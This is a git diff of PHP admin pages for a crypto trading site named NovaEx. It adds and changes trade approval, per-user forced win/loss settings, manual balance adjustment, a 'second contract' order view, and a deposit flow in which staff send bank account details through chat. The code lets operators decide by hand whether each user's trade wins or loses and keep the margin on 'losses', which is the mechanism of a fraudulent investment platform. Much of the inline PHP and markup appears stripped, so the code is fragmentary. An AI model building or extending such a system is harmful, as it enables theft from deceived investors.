diff --git a/admin/chat.php b/admin/chat.php index 66489b7..e9e87ac 100644 --- a/admin/chat.php +++ b/admin/chat.php @@ -8,7 +8,7 @@ if (isset($_GET['action']) && $_GET['action'] === 'delete' && isset($_GET['delet $del_id = $_GET['delete_user_id']; // Delete messages $pdo->prepare("DELETE FROM messages WHERE user_id = ?")->execute([$del_id]); - // Optionally update orders to not show in chat (e.g., mark as rejected or hidden if they are just 'matching') + // Optionally update orders to not show in chat $pdo->prepare("UPDATE fiat_orders SET status = 'rejected' WHERE user_id = ? AND status IN ('matching', 'submitting')")->execute([$del_id]); header("Location: chat.php"); exit; @@ -29,7 +29,7 @@ $chat_users = $pdo->query(" JOIN messages m ON u.id = m.user_id UNION SELECT DISTINCT u.id, u.username, u.uid, - '发起充值匹配申请' as last_msg, + '发起充值申请' as last_msg, o.created_at as last_time, 0 as unread_count, o.status as recharge_status @@ -55,7 +55,7 @@ $chat_users = $pdo->query(" .chat-main { flex: 1; display: flex; flex-direction: column; } .menu-item { padding: 12px; color: #848E9C; text-decoration: none; display: flex; align-items: center; gap: 10px; border-radius: 4px; margin-bottom: 5px; } .menu-item:hover, .menu-item.active { background: #2B3139; color: white; } - .badge { background: var(--danger-color); color: white; border-radius: 10px; padding: 2px 8px; font-size: 0.7rem; margin-left: auto; } + .badge { background: #f6465d; color: white; border-radius: 10px; padding: 2px 8px; font-size: 0.7rem; margin-left: auto; } .user-item { padding: 15px; border-bottom: 1px solid #2B3139; cursor: pointer; position: relative; display: flex; flex-direction: column; } .user-item:hover, .user-item.active { background: #2B3139; } @@ -65,13 +65,26 @@ $chat_users = $pdo->query(" .delete-btn:hover { color: #f6465d; } .last-msg { color: #848E9C; font-size: 0.75rem; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; margin-top: 5px; width: 90%; } .dot { width: 10px; height: 10px; background: #f6465d; border-radius: 50%; } - .recharge-label { font-size: 0.7rem; background: rgba(255, 60, 0, 0.2); color: #ff3c00; padding: 2px 5px; border-radius: 3px; margin-left: 5px; } + .recharge-label { font-size: 0.7rem; background: rgba(240, 185, 11, 0.2); color: #f0b90b; padding: 2px 5px; border-radius: 3px; margin-left: 5px; } .back-btn { color: #848E9C; text-decoration: none; font-size: 0.9rem; padding: 15px; border-bottom: 1px solid #2B3139; display: block; } .back-btn:hover { color: white; background: #2B3139; } + + /* Custom alert */ + #custom-alert { display: none; position: fixed; top: 20px; right: 20px; background: #f0b90b; color: black; padding: 20px; border-radius: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.5); z-index: 10000; animation: slideIn 0.5s; width: 300px; } + @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } +
+
+ + 新通知 / NEW NOTIFICATION +
+
您有新的充值申请或用户消息。
+ +
+
- + - + \ No newline at end of file diff --git a/admin/chat_iframe.php b/admin/chat_iframe.php index fa34863..0168e29 100644 --- a/admin/chat_iframe.php +++ b/admin/chat_iframe.php @@ -13,7 +13,7 @@ $pdo->prepare("UPDATE messages SET is_read = 1 WHERE user_id = ? AND sender = 'u // Handle Message Sending if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['message'])) { $msg = $_POST['message']; - $pdo->prepare("INSERT INTO messages (user_id, sender, message) VALUES (?, 'admin', ?)")->execute([$user_id, $msg]); + $pdo->prepare("INSERT INTO messages (user_id, sender, message, type) VALUES (?, 'admin', ?, 'text')")->execute([$user_id, $msg]); exit; } @@ -30,6 +30,9 @@ if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action'])) { $pdo->prepare("UPDATE fiat_orders SET status = 'matched', bank_account_info = ? WHERE id = ?")->execute([$info, $oid]); + // Send the info as a chat message + $pdo->prepare("INSERT INTO messages (user_id, sender, message) VALUES (?, 'admin', ?)")->execute([$user_id, $info]); + $notif = "✅ 匹配成功!收款账户已下发。请在页面强制弹窗中查看详细信息并进行转账。"; $pdo->prepare("INSERT INTO messages (user_id, sender, message) VALUES (?, 'admin', ?)")->execute([$user_id, $notif]); } elseif ($_POST['action'] == 'complete') { @@ -80,19 +83,19 @@ $current_rates = get_fiat_rates(); .main-content { flex: 1; display: flex; flex-direction: column; overflow-y: auto; } .chat-box { flex: 1; padding: 20px; display: flex; flex-direction: column; gap: 15px; } .msg { max-width: 85%; padding: 12px 16px; border-radius: 12px; font-size: 14px; line-height: 1.6; position: relative; } - .msg.admin { align-self: flex-end; background: #377aff; color: white; border-bottom-right-radius: 2px; } + .msg.admin { align-self: flex-end; background: #f0b90b; color: black; border-bottom-right-radius: 2px; } .msg.user { align-self: flex-start; background: #2B3139; color: #EAECEF; border-bottom-left-radius: 2px; } .msg-time { font-size: 10px; color: #848E9C; margin-top: 5px; display: block; text-align: right; } .recharge-panel { background: #1E2329; border-bottom: 1px solid #2B3139; padding: 15px 20px; } .order-card { background: #161A1E; border: 1px solid #2B3139; border-radius: 16px; padding: 15px; margin-bottom: 12px; } .input-area { padding: 15px 20px; background: #1E2329; border-top: 1px solid #2B3139; display: flex; gap: 12px; } input[type="text"], input[type="number"], textarea { width: 100%; background: #0B0E11; border: 1px solid #2B3139; color: white; padding: 10px; border-radius: 8px; outline: none; margin-bottom: 8px; font-size: 13px; } - button { background: #377aff; border: none; color: white; padding: 10px 20px; border-radius: 8px; cursor: pointer; font-weight: bold; } + button { background: #f0b90b; border: none; color: black; padding: 10px 20px; border-radius: 8px; cursor: pointer; font-weight: bold; } .status-badge { font-size: 10px; padding: 4px 10px; border-radius: 6px; font-weight: 800; } .matching { background: rgba(240, 185, 11, 0.1); color: #f0b90b; } .submitting { background: rgba(0, 192, 135, 0.1); color: #00c087; } - .btn-complete { background: #00c087; } - .btn-reject { background: #f6465d; } + .btn-complete { background: #00c087; color: white; } + .btn-reject { background: #f6465d; color: white; } @@ -101,6 +104,7 @@ $current_rates = get_fiat_rates();
UID: + IP:
余额: USDT
@@ -141,7 +145,8 @@ $current_rates = get_fiat_rates(); - +
@@ -170,11 +175,27 @@ $current_rates = get_fiat_rates();
-
- - -
- + +
+ +
+ +
+ + + + + + +
+ +
@@ -206,13 +227,14 @@ $current_rates = get_fiat_rates(); await fetch(window.location.href, { method: 'POST', body: formData }); }; + let lastCount = ; setInterval(async () => { const res = await fetch('../api/get_messages.php?user_id='); const data = await res.json(); - if (data && data.count > ) { + if (data && data.count > lastCount) { location.reload(); } - }, 5000); + }, 4000); diff --git a/admin/futures_orders.php b/admin/futures_orders.php index d1858b0..9d7b7b0 100644 --- a/admin/futures_orders.php +++ b/admin/futures_orders.php @@ -19,7 +19,6 @@ if (isset($_POST['action']) && isset($_POST['order_id'])) { if ($action == 'approve') { // "WIN": Approve and settle at TP price (if set) or current manual price - // The requirement says: "后台可以按照用户下单的止盈价格接受,同意就是按照止盈价格计算出盈利" $exit_price = (float)($order['tp_price'] ?: $order['price']); $entry_price = (float)$order['price']; $nominal = (float)$order['amount'] * $faceValue; @@ -31,18 +30,14 @@ if (isset($_POST['action']) && isset($_POST['order_id'])) { $profit = (1 - $exit_price / $entry_price) * $nominal; } - // Apply leverage to profit or it's already calculated in nominal? - // Nominal is amount * 10 (value in USDT). - // PNL = (PriceChange / EntryPrice) * NominalValue. This is correct. - $payout = $margin + $profit; if ($payout < 0) $payout = 0; $pdo->prepare("UPDATE users SET balance = balance + ? WHERE id = ?")->execute([$payout, $user_id]); - $pdo->prepare("UPDATE trading_orders SET status = 'closed', admin_status = 'approved' WHERE id = ?")->execute([$oid]); + $pdo->prepare("UPDATE trading_orders SET status = 'closed', admin_status = 'approved', win_loss = 'win' WHERE id = ?")->execute([$oid]); } elseif ($action == 'reject') { // "LOSS": Reject. Margin is already deducted and not returned. - $pdo->prepare("UPDATE trading_orders SET status = 'cancelled', admin_status = 'rejected' WHERE id = ?")->execute([$oid]); + $pdo->prepare("UPDATE trading_orders SET status = 'cancelled', admin_status = 'rejected', win_loss = 'loss' WHERE id = ?")->execute([$oid]); } } } @@ -67,10 +62,14 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN .badge { background: #F6465D; color: white; border-radius: 10px; padding: 2px 8px; font-size: 0.7rem; margin-left: auto; } .table { width: 100%; border-collapse: collapse; margin-top: 1rem; } .table th, .table td { padding: 12px; text-align: left; border-bottom: 1px solid #EAECEF; font-size: 0.8rem; color: #1E2329; } - .btn-sm { padding: 5px 10px; font-size: 0.75rem; border-radius: 4px; cursor: pointer; border: none; } + .btn-sm { padding: 5px 10px; font-size: 0.75rem; border-radius: 4px; cursor: pointer; border: none; margin-right: 5px; } .btn-approve { background: #00c087; color: white; } .btn-reject { background: #f6465d; color: white; } .back-btn { color: #707A8A; text-decoration: none; font-size: 0.9rem; margin-bottom: 20px; display: inline-block; } + .status-badge { padding: 2px 6px; border-radius: 4px; font-size: 0.75rem; } + .status-open { background: #fff3cd; color: #856404; } + .status-closed { background: #d4edda; color: #155724; } + .status-cancelled { background: #f8d7da; color: #721c24; } @@ -84,6 +83,7 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN 客服管理 0 || $pending_orders > 0): ?> + 秒合约 现货交易 合约交易 充值记录 @@ -103,44 +103,55 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN 方向 杠杆 开仓价 - 止盈价(结算价) + 张数 保证金 + 止盈价 + 止损价 状态 + 结果 + 下单时间 操作 - # - + + () - + + + x - - - + + + USDT + + - 待结算'; - elseif ($o['status'] == 'closed') echo '已止盈结算'; - else echo '已判定亏损'; - ?> + + + + + + 控赢 + + 控亏 + + -- + + + -
-
- - - -
-
- - - -
-
+
+ + + +
+ + -- diff --git a/admin/index.php b/admin/index.php index 4c5bca8..de3ab1e 100644 --- a/admin/index.php +++ b/admin/index.php @@ -39,6 +39,7 @@ $unread_msgs = $db->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' A 客服管理 0 || $pending_orders > 0): ?> + 秒合约 现货交易 合约交易 @@ -80,6 +81,7 @@ $unread_msgs = $db->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' A

交易管理

审核并处理现货及合约交易订单。

+ 秒合约 现货 合约
diff --git a/admin/options_orders.php b/admin/options_orders.php new file mode 100644 index 0000000..c46df42 --- /dev/null +++ b/admin/options_orders.php @@ -0,0 +1,93 @@ +query("SELECT COUNT(*) FROM messages WHERE sender = 'user' AND is_read = 0")->fetchColumn(); +$pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ('matching', 'submitting')")->fetchColumn(); + +$orders = $pdo->query("SELECT o.*, u.username FROM option_orders o JOIN users u ON o.user_id = u.id ORDER BY o.created_at DESC")->fetchAll(); +?> + + + + + 秒合约详情 - NovaEx 管理后台 + + + + + +
+ +
+

秒合约交易记录

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ID用户币对方向金额时长盈利率买入价结算价盈亏状态下单时间
+ + s% + + + 进行中' : '已完成'; ?> +
+
+
+ + \ No newline at end of file diff --git a/admin/settings.php b/admin/settings.php index 1e2ea78..ce00625 100644 --- a/admin/settings.php +++ b/admin/settings.php @@ -36,7 +36,7 @@ $pending_orders = $db->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ( .badge { background: var(--danger-color); color: white; border-radius: 10px; padding: 2px 8px; font-size: 0.7rem; margin-left: auto; } .form-group { margin-bottom: 25px; background: #1E2329; padding: 20px; border-radius: 8px; border: 1px solid #2B3139; } .form-group label { display: block; margin-bottom: 10px; color: #848E9C; font-weight: bold; } - input[type="text"], input[type="number"], select { width: 100%; padding: 10px; background: #0B0E11; border: 1px solid #2B3139; color: white; border-radius: 4px; outline: none; } + input[type="text"], input[type="number"], select, textarea { width: 100%; padding: 10px; background: #0B0E11; border: 1px solid #2B3139; color: white; border-radius: 4px; outline: none; } .back-btn { color: #848E9C; text-decoration: none; font-size: 0.9rem; margin-bottom: 20px; display: inline-block; } .back-btn:hover { color: white; } @@ -94,26 +94,22 @@ $pending_orders = $db->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ( -
-
- - -
-
- - -
+

3. 客服系统设置

+
+ + +

用户首次进入聊天页面时看到的欢迎消息。

-

3. 其他配置

+

4. 其他配置

- +
- + \ No newline at end of file diff --git a/admin/spot_orders.php b/admin/spot_orders.php index a211da9..58e355b 100644 --- a/admin/spot_orders.php +++ b/admin/spot_orders.php @@ -24,10 +24,10 @@ if (isset($_POST['action']) && isset($_POST['order_id'])) { } else { $pdo->prepare("UPDATE users SET balance = balance + ? WHERE id = ?")->execute([$order['total'], $user_id]); } - $pdo->prepare("UPDATE trading_orders SET status = 'closed', admin_status = 'approved' WHERE id = ?")->execute([$oid]); + $pdo->prepare("UPDATE trading_orders SET status = 'closed', admin_status = 'approved', win_loss = 'win' WHERE id = ?")->execute([$oid]); } elseif ($action == 'reject') { // "LOSS": Reject. No assets returned. - $pdo->prepare("UPDATE trading_orders SET status = 'cancelled', admin_status = 'rejected' WHERE id = ?")->execute([$oid]); + $pdo->prepare("UPDATE trading_orders SET status = 'cancelled', admin_status = 'rejected', win_loss = 'loss' WHERE id = ?")->execute([$oid]); } } } @@ -52,10 +52,14 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN .badge { background: #F6465D; color: white; border-radius: 10px; padding: 2px 8px; font-size: 0.7rem; margin-left: auto; } .table { width: 100%; border-collapse: collapse; margin-top: 1rem; } .table th, .table td { padding: 12px; text-align: left; border-bottom: 1px solid #EAECEF; font-size: 0.85rem; color: #1E2329; } - .btn-sm { padding: 5px 10px; font-size: 0.75rem; border-radius: 4px; cursor: pointer; border: none; } + .btn-sm { padding: 5px 10px; font-size: 0.75rem; border-radius: 4px; cursor: pointer; border: none; margin-right: 5px; } .btn-approve { background: #00c087; color: white; } .btn-reject { background: #f6465d; color: white; } .back-btn { color: #707A8A; text-decoration: none; font-size: 0.9rem; margin-bottom: 20px; display: inline-block; } + .status-badge { padding: 2px 6px; border-radius: 4px; font-size: 0.75rem; } + .status-open { background: #fff3cd; color: #856404; } + .status-closed { background: #d4edda; color: #155724; } + .status-cancelled { background: #f8d7da; color: #721c24; } @@ -69,6 +73,7 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN 客服管理 0 || $pending_orders > 0): ?> + 秒合约 现货交易 合约交易 充值记录 @@ -86,61 +91,53 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN 用户 币对 方向 - 成本价 - 卖出/买入价 + 类型 + 价格 数量 - 总计(USDT) - 盈利差额 + 总额 状态 + 结果 + 时间 操作 - 0) { - $diff = ($o['price'] - $o['tp_price']) * $o['amount']; - } - ?> + - # - + + () - - + + + + - + USDT - - - = 0 ? '+' : '') . number_format($diff, 2); ?> - + + + + + + + 盈利 + + 亏损 -- - - 待处理'; - elseif ($o['status'] == 'closed') echo '已结算'; - else echo '已亏损'; - ?> - + -
-
- - - -
-
- - - -
-
+
+ + + +
+ + -- diff --git a/admin/users.php b/admin/users.php index ff2e987..4e163cd 100644 --- a/admin/users.php +++ b/admin/users.php @@ -5,37 +5,55 @@ $pdo = db(); // Handle Actions if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action'])) { - if ($_POST['action'] == 'add_user') { + $action = $_POST['action']; + + if ($action == 'add_user') { $username = $_POST['username']; $password = password_hash($_POST['password'], PASSWORD_DEFAULT); - $uid = str_pad(mt_rand(0, 999999), 6, '0', STR_PAD_LEFT); - $pdo->prepare("INSERT INTO users (uid, username, password, balance, credit_score) VALUES (?, ?, ?, ?, ?)") - ->execute([$uid, $username, $password, $_POST['balance'] ?? 0, $_POST['credit_score'] ?? 80]); - } elseif (isset($_POST['user_id'])) { - $uid = $_POST['user_id']; - if ($_POST['action'] == 'update_user') { - $score = $_POST['score']; - $balance = $_POST['balance']; - $win_loss = $_POST['win_loss_control']; - $status = $_POST['status']; - - $sql = "UPDATE users SET credit_score = ?, balance = ?, win_loss_control = ?, status = ? WHERE id = ?"; - $params = [$score, $balance, $win_loss, $status, $uid]; - - if (!empty($_POST['password'])) { - $sql = "UPDATE users SET credit_score = ?, balance = ?, win_loss_control = ?, status = ?, password = ? WHERE id = ?"; - $params = [$score, $balance, $win_loss, $status, password_hash($_POST['password'], PASSWORD_DEFAULT), $uid]; - } - $pdo->prepare($sql)->execute($params); - } elseif ($_POST['action'] == 'delete_user') { - $pdo->prepare("DELETE FROM users WHERE id = ?")->execute([$uid]); - } elseif ($_POST['action'] == 'toggle_status') { - $user = $pdo->prepare("SELECT status FROM users WHERE id = ?"); - $user->execute([$uid]); - $new_status = ($user->fetchColumn() == 'active' ? 'disabled' : 'active'); - $pdo->prepare("UPDATE users SET status = ? WHERE id = ?")->execute([$new_status, $uid]); + $uid = 618120 + $pdo->query("SELECT COUNT(*) FROM users")->fetchColumn() + mt_rand(1, 9); + $balance = $_POST['balance'] ?? 0; + $credit_score = $_POST['credit_score'] ?? 80; + + $stmt = $pdo->prepare("INSERT INTO users (uid, username, password, balance, credit_score, status) VALUES (?, ?, ?, ?, ?, 'active')"); + $stmt->execute([$uid, $username, $password, $balance, $credit_score]); + } elseif ($action == 'update_user') { + $id = $_POST['id']; + $username = $_POST['username']; + $balance = $_POST['balance']; + $credit_score = $_POST['credit_score']; + $win_loss = $_POST['win_loss_control']; + $status = $_POST['status']; + + $sql = "UPDATE users SET username = ?, balance = ?, credit_score = ?, win_loss_control = ?, status = ? WHERE id = ?"; + $params = [$username, $balance, $credit_score, $win_loss, $status, $id]; + + if (!empty($_POST['password'])) { + $sql = "UPDATE users SET username = ?, balance = ?, credit_score = ?, win_loss_control = ?, status = ?, password = ? WHERE id = ?"; + $params = [$username, $balance, $credit_score, $win_loss, $status, password_hash($_POST['password'], PASSWORD_DEFAULT), $id]; } + $pdo->prepare($sql)->execute($params); + } elseif ($action == 'adjust_balance') { + $id = $_POST['id']; + $type = $_POST['adjustment_type']; // 'up' or 'down' + $amount = (float)$_POST['amount']; + + if ($type == 'up') { + $pdo->prepare("UPDATE users SET balance = balance + ? WHERE id = ?")->execute([$amount, $id]); + } else { + $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?")->execute([$amount, $id]); + } + } elseif ($action == 'delete_user') { + $id = $_POST['id']; + $pdo->prepare("DELETE FROM users WHERE id = ?")->execute([$id]); + } elseif ($action == 'toggle_status') { + $id = $_POST['id']; + $user = $pdo->prepare("SELECT status FROM users WHERE id = ?"); + $user->execute([$id]); + $new_status = ($user->fetchColumn() == 'active' ? 'disabled' : 'active'); + $pdo->prepare("UPDATE users SET status = ? WHERE id = ?")->execute([$new_status, $id]); } + header("Location: users.php"); + exit; } $users = $pdo->query("SELECT * FROM users ORDER BY id DESC")->fetchAll(); @@ -50,108 +68,136 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN - +
+
-
-
- 返回 -

用户管理

-
- +
+

用户管理

+
- - - - - - - - - - - - - - - - - - - - - - - - - -
UID用户名余额 (USDT)信用分盈亏控制状态操作
- 强制盈利'; - elseif ($u['win_loss_control'] == 'loss') echo '强制亏损'; - else echo '默认'; - ?> - 正常' : '已禁用'; ?> - -
- - - -
-
- - - -
-
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
UID / 用户名余额 (USDT)信用分输赢控制状态注册时间 / IP操作
+
+
+
+
+
+ '正常', 'win' => '起盈', 'loss' => '起亏']; + $wc_class = ['none' => '', 'win' => 'color: #00c087; font-weight: bold;', 'loss' => 'color: #f6465d; font-weight: bold;']; + echo "{$wc_label[$wc]}"; + ?> + + + + + +
+
+
+
+ + +
+ + + +
+
+ + + +
+
+
+
- +